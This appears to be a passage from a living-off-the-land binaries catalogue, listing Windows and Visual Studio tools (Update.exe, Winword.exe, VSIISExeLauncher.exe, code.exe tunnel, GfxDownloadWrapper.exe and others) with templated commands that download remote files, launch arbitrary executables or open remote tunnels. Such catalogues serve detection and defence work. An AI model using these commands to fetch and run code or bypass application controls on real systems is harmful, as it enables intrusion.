Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exeUpdate.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Update.exe --download {REMOTEURL}Visio.exe
Microsoft Visio Executable
Visio.exe {REMOTEURL}VisualUiaVerifyNative.exe
A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.
VisualUiaVerifyNative.exeVSDiagnostics.exe
Command-line tool used for performing diagnostics.
VSDiagnostics.exe start 1 /launch:{PATH:.exe}Vshadow.exe
VShadow is a command-line tool that can be used to create and manage volume shadow copies.
vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:VSIISExeLauncher.exe
Binary will execute specified binary. Part of VS/VScode installation.
VSIISExeLauncher.exe -p {PATH:.exe} -a "{CMD:args}"vsjitdebugger.exe
Just-In-Time (JIT) debugger included with Visual Studio
Vsjitdebugger.exe {PATH:.exe}VSLaunchBrowser.exe
Microsoft Visual Studio browser launcher tool for web applications debugging
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}vsls-agent.exe
Agent for Visual Studio Live Share (Code Collaboration)
vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}vstest.console.exe
VSTest.Console.exe is the command-line tool to run tests
vstest.console.exe {PATH:.dll}Wfc.exe
The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).
wfc.exe {PATH_ABSOLUTE:.xoml}WFMFormat.exe
Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.
WFMFormat.exeWinDbg.exe
Windows Debugger for advanced user-mode and kernel-mode debugging.
windbg.exe -g {CMD}winfile.exe
Windows File Manager executable
winfile.exe {PATH:.exe}WinProj.exe
Microsoft Project Executable
WinProj.exe {REMOTEURL}Winword.exe
Microsoft Office binary
winword.exe {REMOTEURL}wsb.exe
Windows Sandbox command-line interface. Creates, lists, controls, and executes commands inside Windows Sandbox sessions from the host CLI.
wsb start --config "<Configuration><LogonCommand><Command>{CMD}</Command></LogonCommand></Configuration>"
wsb exec -r System --id YOUR_IDWsl.exe
Windows subsystem for Linux executable
wsl.exe -e /mnt/c/Windows/System32/calc.exeXBootMgr.exe
Windows Performance Toolkit binary used to start performance traces.
xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -callBack {PATH:.exe}XBootMgrSleep.exe
Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions.
xbootmgrsleep.exe 1000 {PATH:.exe}xsd.exe
XML Schema Definition Tool included with the Windows Software Development Kit (SDK).
xsd.exe {REMOTEURL}code.exe
VSCode binary, also portable (CLI) version
code.exe tunnel --accept-server-license-terms --name "tunnel-name"GfxDownloadWrapper.exe
Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"Explore Other Operating Systems
